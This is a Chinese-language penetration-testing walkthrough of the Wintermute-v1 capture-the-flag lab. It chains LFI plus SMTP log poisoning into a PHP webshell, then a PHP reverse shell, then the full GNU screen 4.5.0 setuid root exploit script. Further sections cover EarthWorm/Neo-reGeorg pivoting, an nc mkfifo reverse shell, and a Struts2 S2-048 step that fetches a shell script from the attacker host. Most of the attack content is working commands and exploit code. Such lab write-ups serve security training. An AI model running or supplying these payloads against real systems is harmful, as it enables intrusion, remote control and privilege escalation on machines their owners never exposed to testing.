19Wintermute-v1

这次实验我们需要配置两个靶机的网络

1
2
3
4
5

我把两个虚拟机都导入到VirtualBox了,原因是在VMware下报错:Failed to start Raise network interfaces(这个是虚拟机启动页面发现的)
Wintermute-Straylight,它有两个网卡,一个是192.168.1.0/24(桥接到本地网卡了)另一个是192.168.231.0/24
Wintermute-Neuromancer,它只有1个网卡 192.168.231.0/24
Wintermute-Straylight的ip为192.168.1.108 192.168.230.2
1
2
我们攻击机(win10)的IP192.168.1.240 能够和Straylight直接通信
我们攻击机(kali)的IP192.168.1.241 能够和Straylight直接通信

信息收集

1
2
3
arp-scan -l          nmap --min-rate 100000 -p- 192.168.1.108     nmap --min-rate 100000 -p25,80,3000 -A 192.168.1.108

dirsearch -u 192.168.1.108 dirb http://192.168.1.108/ nikto -host 192.168.1.108 -p 80

25端口

1
smtp

80端口

1
2
3

dirsearch -u 192.168.1.108 dirb http://192.168.1.108/ nikto -host 192.168.1.108 -p 80

1
2
3
4
5
6
7
8
9

http://192.168.1.108 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.108], Meta-Refresh-Redirect[xwx.html], Title[Night City]
http://192.168.1.108/xwx.html [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.108], Script
http://192.168.1.108/index.html
http://192.168.1.108/xwx.html
http://192.168.1.108/manual/en/index.html

http://192.168.1.108/manual/images/

3000端口

1
2
3

dirsearch -u 192.168.1.108:3000 nikto -host 192.168.1.108 -p 3000

1
2
3
4
5
6
7
8
9

hadoop-datanode Apache Hadoop
http://192.168.1.108:3000/lua/login.lua?referer=/
+ /666%0a%0a<script>alert('Vulnerable');</script>666.jsp: Apache Tomcat 4.1 / Linux is vulnerable to Cross Site Scripting (XSS).
http://192.168.1.108:3000/666%0a%0a<script>alert('Vulnerable');</script>666.jsp
上面这个XSS我验证不出来,这里我不是很懂,先跳过去

ntopng 是一个强大的网络流量监控工具,适用于需要对网络流量进行深入分析和实时监控的场景。它具有丰富的功能和易用的 Web 界面,广泛应用于网络运维、带宽管理、网络安全等领域。这个是个流量设备类似于IPS

getshell

1
2
3
这里有提示说有默认的账号密码  先登录再看看
这个机器是两个网卡:enp0s3-192.168.1.0/24、enp0s8-192.168.230.0/24
我们在网络接口的流量管理发现路径 /turing-bolo/ /freeside/

image-20241124165130870

1
2
3
4
5
6
7
8
http://192.168.1.108/turing-bolo/  这个页面就是调一个人来看日志的,都看一看
http://192.168.1.108/turing-bolo/bolo.php?bolo=case
http://192.168.1.108/turing-bolo/bolo.php?bolo=molly
http://192.168.1.108/turing-bolo/bolo.php?bolo=armitage
http://192.168.1.108/turing-bolo/bolo.php?bolo=riviera
我们发现实际上给的都包含.log但是?bolg=case没有.log 可能是变量默认后面跟上.log
考虑这里有文件包含,这里我们联想起之前发现的stmp(邮件协议)直接包含一下stmp的日志试一试
http://192.168.1.108/turing-bolo/bolo.php?bolo=../../../../var/log/mail 这里的../数量纯靠尝试

image-20241124165957162

image-20241124170813770

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

<br/>
Jul 1 19:10:42 straylight postfix/postfix-script[1782]: stopping the Postfix mail system
Jul 1 19:10:42 straylight postfix/master[716]: terminating on signal 15
Jul 1 19:10:43 straylight postfix/postfix-script[1945]: starting the Postfix mail system
Jul 1 19:10:43 straylight postfix/master[1947]: daemon started -- version 3.1.8, configuration /etc/postfix
Jul 3 20:26:50 straylight postfix/postfix-script[732]: starting the Postfix mail system
Jul 3 20:26:50 straylight postfix/master[734]: daemon started -- version 3.1.8, configuration /etc/postfix
Nov 23 17:23:05 straylight postfix/postfix-script[804]: starting the Postfix mail system
Nov 23 17:23:05 straylight postfix/master[822]: daemon started -- version 3.1.8, configuration /etc/postfix
Nov 23 17:37:58 straylight postfix/postfix-script[725]: starting the Postfix mail system
Nov 23 17:37:58 straylight postfix/master[727]: daemon started -- version 3.1.8, configuration /etc/postfix
Nov 23 18:16:16 straylight postfix/smtpd[2926]: connect from unknown[192.168.1.240]
Nov 23 18:16:16 straylight postfix/smtpd[2926]: lost connection after CONNECT from unknown[192.168.1.240]
Nov 23 18:16:16 straylight postfix/smtpd[2926]: disconnect from unknown[192.168.1.240] commands=0/0
Nov 23 18:16:23 straylight postfix/smtpd[2926]: connect from unknown[192.168.1.240]
Nov 23 18:16:23 straylight postfix/smtpd[2936]: connect from unknown[192.168.1.240]
Nov 23 18:16:23 straylight postfix/smtpd[2937]: connect from unknown[192.168.1.240]
Nov 23 18:16:23 straylight postfix/smtpd[2936]: SSL_accept error from unknown[192.168.1.240]: -1
Nov 23 18:16:23 straylight postfix/smtpd[2936]: warning: TLS library problem: error:1417D0FC:SSL routines:tls_process_client_hello:unknown protocol:../ssl/statem/statem_srvr.c:938:
Nov 23 18:16:23 straylight postfix/smtpd[2936]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:23 straylight postfix/smtpd[2936]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=0/1 commands=1/2
Nov 23 18:16:24 straylight postfix/smtpd[2937]: disconnect from unknown[192.168.1.240] ehlo=1 quit=1 unknown=0/1 commands=2/3
Nov 23 18:16:24 straylight postfix/smtpd[2926]: lost connection after UNKNOWN from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2926]: disconnect from unknown[192.168.1.240] ehlo=2 starttls=1 auth=0/1 unknown=0/1 commands=3/5
Nov 23 18:16:24 straylight postfix/smtpd[2937]: connect from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2936]: connect from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2926]: connect from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2938]: connect from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2926]: SSL_accept error from unknown[192.168.1.240]: lost connection
Nov 23 18:16:24 straylight postfix/smtpd[2937]: SSL_accept error from unknown[192.168.1.240]: lost connection
Nov 23 18:16:24 straylight postfix/smtpd[2937]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2937]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=0/1 commands=1/2
Nov 23 18:16:24 straylight postfix/smtpd[2926]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2926]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=0/1 commands=1/2
Nov 23 18:16:24 straylight postfix/smtpd[2938]: SSL_accept error from unknown[192.168.1.240]: lost connection
Nov 23 18:16:24 straylight postfix/smtpd[2938]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2938]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=0/1 commands=1/2
Nov 23 18:16:24 straylight postfix/smtpd[2936]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2936]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=1 commands=2
Nov 23 18:16:24 straylight postfix/smtpd[2937]: connect from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2937]: SSL_accept error from unknown[192.168.1.240]: lost connection
Nov 23 18:16:24 straylight postfix/smtpd[2937]: lost connection after STARTTLS from unknown[192.168.1.240]
Nov 23 18:16:24 straylight postfix/smtpd[2937]: disconnect from unknown[192.168.1.240] ehlo=1 starttls=0/1 commands=1/2
Nov 23 18:19:44 straylight postfix/anvil[2931]: statistics: max connection rate 9/60s for (smtp:192.168.1.240) at Nov 23 18:16:24
Nov 23 18:19:44 straylight postfix/anvil[2931]: statistics: max connection count 4 for (smtp:192.168.1.240) at Nov 23 18:16:24
Nov 23 18:19:44 straylight postfix/anvil[2931]: statistics: max cache size 1 at Nov 23 18:16:16
Nov 24 00:22:33 straylight postfix/postfix-script[746]: starting the Postfix mail system
Nov 24 00:22:33 straylight postfix/master[748]: daemon started -- version 3.1.8, configuration /etc/postfix

1
2
3
4
5
6
7
8
连接stmp服务器,然后发邮件,在收件人写入命令执行的代码  <?php echo shell_exec($_GET['cmd']);?>
nc 192.168.1.108 25
EHLO 命令:用于标识客户端,并获取 SMTP 服务的支持信息。 helo anonymous
MAIL FROM 命令:指定发件人的邮件地址mail from: "anonymous <?php echo shell_exec($_GET['cmd']);?>" //这里用eval传不了
RCPT TO 命令:指定收件人的邮件地址 rcpt to: root //这里的收信人必须是已知的,其他的我想不出来直接用root了
DATA 命令:开始输入邮件内容。 data 123456 输入.结束输入
发生成功
http://192.168.1.108/turing-bolo/bolo.php?bolo=../../../../var/log/mail&cmd=pwd //所有在日志文件里的命令执行都要用&

image-20241124175522429

1
2
接下来反弹shell, php -r '$sock=fsockopen("192.168.1.240",1234);system("/bin/sh <&3 >&3 2>&3");'  需要用php的函数来执行
需要进行url编码,php%20-r%20'%24sock%3Dfsockopen(%22192.168.1.240%22%2C1234)%3Bsystem(%22%2Fbin%2Fsh%20%3C%263%20%3E%263%202%3E%263%22)%3B'

image-20241124190310461

image-20241124185959811

1
2
获得交互式shell python -c 'import pty;pty.spawn("/bin/bash")'

提权

1
2
3
寻找Setuid 权限的文件  find / -perm -4000 2>/dev/null一共找到了这么多能够提权的文件,一个个搜了搜,最后发现screen-4.5.0它有漏洞(DC-5也是这样提权)
也可以上传LinEnum查找Linux系统有什么能够提权的地方

image-20241124192110927

image-20241124192442298

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c //第一步
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c //第二步
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c //第三步
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c //第四步
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc //第五部
umask 000 # because //第六部
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed //第七部
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... //第八部
/tmp/rootshell //第九部
现在跟着脚本一步步来,首先给这里面 /tmp/libhax.c和/tmp/rootshell.c写EOF之前的,其次编译2个C程序,接着cd /etc,再umask 000然后screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so",再screen -ls,最后/tmp/rootshell
权限不够不能直接执行.sh只能这样一步步来,直接复制粘贴到命令行里就行了,不要管报错

image-20241124194534847

1
2
获得交互式shell   python -c 'import pty;pty.spawn("/bin/bash")'
把root密码改成root,然后多弹一些www-data权限,su root

接着对内网二层设备进行渗透测试

信息收集

使用Neo-regeorg的端口转发

1
2
3
4
5
6
机器里没有nmap也没有arp-scan 这里可以用sh也可以提前搭端口转发
for i in $(seq 1 255); do if ping -c 1 -w 1 192.168.230.$i&>/dev/null; then echo "192.168.230.$i"; fi ; done
这里确认ip为192.168.230.2
在这里我们用的转发工具为Neo-regeorg
1.生成shell文件,连接密码是123456 python neoreg.py generate -k 123456
2.上传tunnel.php到/var/www/html目录下 http://192.168.1.108/tunnel.php

image-20241124201230712

1
2
3
3.接着要连shell了  python neoreg.py -k 123456 -u http://192.168.1.108/tunnel.php -p 4444
4.通过Proxifier设置全局的socket5代理

image-20241124202526959

image-20241124202637577

1
现在通过浏览器就可以访问192.168.230.2

使用EarthWorm的端口转发(推荐)

1
2
为了设置kali也能访问二层内网设备,就请出EarthWorm简称叫做EW,它是一套便携式的网络工具,具有SOCKS5服务架设和端口转发两大核心功能,并且包含着LCX工具的功能,可以再复杂的网络环境实现网络穿透,EW可以已正向和方向以及多级级联的方式建立网络隧道。内网渗透,我只喜欢它!!!
把ew_for_linux64放kali上
1
2
3
4

/ew_for_linux64 -s lcx_tran -l 1100 -f 192.168.1.108 -g 2000
以上意思是,将目标服务器的2000端口转发到我们攻击机的1100端口,然后访问攻击机的1100端口,即可连接目标服务器的2000端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
示例1 利用earthworm反向代理进行内网横向渗透
./ew_for_linux64 -s rcsocks -l 1101 -e 8888在攻击机本地开启1080和8888监听端口,并将1080端口收到的流量转发至8888端口。
./ew -s rssocks -d 192.168.1.241 -e 8888 在靶机A上传earthworm,并运行这个命令连接攻击机的8888端口
在攻击机上修改全局代理软件proxychains的配置文件,默认路径为/etc/proxychains4.conf,配置socks5代理地址和端口 socks5 127.0.0.1 1101

详解:::
攻击机端的命令:
bash
./ew_for_linux64 -s rcsocks -l 1101 -e 8888
./ew_for_linux64 Earthworm 工具的可执行文件,-s rcsocks 表示启动一个反向 SOCKS 代理(即攻击机作为代理服务器)。
-l 1101 表示本地监听端口 1101。这个端口将会接收来自外部的流量。
-e 8888 表示将监听端口 1101 收到的流量转发到攻击机的端口 8888
简而言之,这个命令设置了攻击机上的本地端口 1101 8888。攻击机会通过端口 1101 接收流量,并将其转发到 8888 端口上。

靶机A端的命令:
bash
./ew -s rssocks -d 192.168.1.241 -e 8888
./ew Earthworm 工具的另一个可执行文件,-s rssocks 表示启动一个反向 SOCKS 代理客户端(即靶机A作为代理客户端)。
-d 192.168.1.241 表示连接到攻击机(IP 192.168.1.241)的 8888 端口。
-e 8888 表示将连接到攻击机 8888 端口,建立一个反向代理隧道。
这个命令启动了靶机A上的代理客户端,指示靶机A连接到攻击机上的 8888 端口,并将流量通过该端口转发。

3. 为什么是反向代理?
在这里,反向代理是指通过攻击机设置的端口转发隧道,靶机A 扮演了代理客户端的角色,将流量从靶机B(内部网络的靶机)转发到攻击机的外部端口。具体来说:

攻击机:提供一个反向代理(通过 rcsocks 和端口 1101),将流量从内网目标(靶机B)引导到外部网络。
靶机A:通过连接攻击机的 8888 端口,接收并转发流量,实际上它充当了代理中介,将流量从内网传递到攻击机上。
反向代理是指流量的源头(靶机A)并不是直接访问目标(靶机B),而是通过攻击机的代理服务器转发流量。这样就实现了“反向”的代理模式,攻击机充当了流量的中转站。

4. 端口转发过程
端口转发的实现是通过以下方式:

攻击机的端口 1101 接收来自外部的流量。
该流量通过攻击机的端口 8888 转发给靶机A。
靶机A 在执行相应命令后,通过自身的代理客户端将流量发送给靶机B,从而实现内网的攻击。
总结来说,你描述的过程实际上是通过 反向代理 端口转发 连接了攻击机、靶机A 和靶机B,借助工具在不同的端口之间传递数据,最终实现了通过攻击机对内网靶机B的访问。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
示例2 使用earthworm多级代理进行内网横向渗透 本示例中靶机A(192.168.1.3&&192.168.2.3) 攻击机(192.168.1.2),靶机B(192.168.2.2&&192.168.3.2)和C(192.168.3.3)
注意:某些条件下,内网某些服务器无法访问互联网,需通过级联的方式将可访问互联网的主机作为一级代理连接攻击机,二级代理连接一级代理主机即可形成通信隧道,攻击机可通过级联的方式将攻击流量转发至更深入的内网。
./ew -s lcx_listen -l 1101 -e 8888在攻击机上运行如下命令,可在攻击机本地开启1101和8888监听端口,并将1101端口收到的流量转发至8888端口。
./ew -s ssocksd -l 9999 在靶机A上运行这个命令,可开启9999端口的正向代理。
./ew -s lcx_slave -d 192.168.1.2 -e 8888 -f 192.168.2.2 -g 9999 在靶机A上运行如下命令,同时连接攻击机的反向代理端口和靶机B的正向代理端口。

1. 命令:./ew -s lcx_listen -l 1101 -e 8888
这条命令在攻击机上运行,主要作用是设置 本地端口监听 端口转发。具体来说:

-s lcx_listen:指定模式为 监听端口并转发流量。
-l 1101:本地监听端口为 1101,即攻击机上的 1101 端口将监听来自其他主机的连接请求。
-e 8888:将监听到的流量从 1101 端口转发到攻击机的 8888 端口。
因此,当攻击机的 1101 端口收到数据时,这些数据会被转发到攻击机本地的 8888 端口。这种转发机制常用于端口映射或流量中转,可以将流量从一个端口转发到另一个端口,常见于代理或隧道配置中。

2. 命令:./ew -s ssocksd -l 9999
这条命令在 靶机A 上运行,开启了一个 正向代理 服务:

-s ssocksd:指定服务为 SOCKS 代理,即将靶机A作为 SOCKS 代理服务器运行。
-l 9999:设置 SOCKS 代理监听端口为 9999
在这种模式下,靶机A将充当一个正向代理服务器,监听 9999 端口,允许其他主机通过该代理进行网络请求,通常是为了绕过防火墙、隐藏真实IP、或进行网络流量转发。

3. 命令:./ew -s lcx_slave -d 192.168.1.2 -e 8888 -f 192.168.2.2 -g 9999
这条命令在 靶机A 上运行,目的是同时连接攻击机的 反向代理端口 和靶机B的 正向代理端口。它具体做了以下操作:

-s lcx_slave:指定模式为 从属模式,通常这个模式是指连接到一个上级代理或反向代理。
-d 192.168.1.2:目标地址,指定要连接的 靶机B IP 地址(可能是某个受害者主机)。
-e 8888:指定要通过该连接使用的端口。这里指的是靶机B的 8888端口。
-f 192.168.2.2:指定另一个要连接的目标地址,通常是 攻击机的地址。
-g 9999:指定要连接的 攻击机端口,即前述提到的攻击机上的正向代理端口 9999
这条命令的作用是,靶机A通过连接攻击机的反向代理端口(9999),将流量转发到靶机B的目标端口(8888)。也就是说,靶机A既连接到攻击机的代理服务,又通过该连接与靶机B建立通信。这种操作可能用于通过攻击机和靶机A的中介,访问或控制靶机B。

总结
这些命令的整体流程描述了一个典型的 端口转发 代理链路 的设置:

攻击机通过 -s lcx_listen 监听端口 1101 并将流量转发到 8888 端口。
靶机A配置为一个 正向代理,监听端口 9999(即通过 SOCKS 代理)。
靶机A同时充当 代理从属,连接攻击机的反向代理端口和靶机B的目标端口(8888)。
这种结构可以用于将流量从攻击机通过靶机A进行转发,最终达到对靶机B的访问或控制。它可能是 渗透测试 攻击链 中的一个环节,用于在不同网络环境中穿透防火墙或其他安全措施。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
官方给的readme.txt
【使用场景】

普通网络环境:
1. 目标网络边界存在公网IP且可任意开监听端口:

+---------+ +-------------------+
|HackTools| ->> | 8888-> 1.1.1.1 |
+---------+ +-------------------+

a)./ew -s ssocksd -l 8888
// 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理

2. 目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理

一台可控公网IP主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 |
+---------+ +--------------------------+ | +---------------+

a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机

c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务

对于二重网络环境:
1. 获得目标网络内两台主机 AB 的权限,情况描述如下:

A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机

可控边界主机A 可访问指定资源的主机B
+---------+ +-----------------------+ +-----------------+
|HackTools| ->> | 1080 --> 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +-----------------------+ +-----------------+

a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。

2. 获得目标网络内两台主机 AB 的权限,情况描述如下:

A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。

A 主机可直连 B 主机
一台可控公网IP主机 可控内网主机A 可访问指定资源的主机B
+---------+ +--------------------------+ | +-----------------+ +-----------------+
|HackTools| ->> | 1080 -> 1.1.1.1 -> 8888 | 防火墙 | <-- 2.2.2.2 --> | ->> | 9999 -> 2.2.2.3 |
+---------+ +--------------------------+ | +-----------------+ +-----------------+

a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:88882.2.2.3:9999 之间的通讯隧道
d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理


【参数说明】

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen

其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。

通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

下面是一个三级跳的本地测试例子。。。
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

【补充说明】
1.为了减少网络资源的消耗,程序中添加了超时机制,默认时间为10000毫秒(10秒),
用户可以通过追加 -t 参数来调整这个值,单位为毫秒。在多级级联功能中,超时机制
将以隧道中最短的时间为默认值。
2.单纯从设计原理上讲,多级级联的三种状态可以转发任意以TCP为基础的通讯服务,
包括远程桌面/web服务 等。
3.产品包中的 ew_for_Arm32 在开发者已有平台下(android手机、小米路由器、树莓派) 测试无误。
如果有其它异常环境请将对应详细细节反馈给作者,以便更新程序问题。

【联系作者】

rootkiter@rootkiter.com
如果您在使用中有什么好想法,或遇到什么BUG,都可以主动联系我。
我会尽最大所能让这个工具更加完美,感谢大家的支持。
1
回归正题,对于二层内网设备Wintermute-Neuromancer的渗透测试进行不了了,很遗憾,这台机器的网卡出现了问题。各位师傅需要移步其他前辈的博客学习struts2 s2-048的远程命令执行。我这里最后补充一点内核信息收集的命令,以及最后对Ubuntu 16.04.4 本地提权时我建议在攻击机环境对exp进行静态编译
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
内核、系统信息查询
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息
cat /etc/*-release 分发信息
cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息
cat /etc/lsb-release # Debian
cat /etc/redhat-release # Redhat
ls /boot | grep vmlinuz-

可提权SUID查询;
find / -perm -u=s -type f 2>/dev/null

getshell

1
2
3
4
5
6
7
8
9

rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.240 1005 >/tmp/f //shell.sh文件内容

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"wget http://192.168.1.240:8000/shell.sh -O /tmp/shell.sh" //远程执行命令下载shell

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"chmod +x /tmp/shell.sh"
攻击机监听1005端口,Neuromancer靶机执行刚刚上传的shell
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"sh /tmp/shell.sh"

提权

1
2
3
gcc -static -o shell 44298.c  静态链接的程序包含了所有的库文件,因此即使系统中没有所需版本的 GLIBC,也能够正常运行。
chmod +x shell
./shell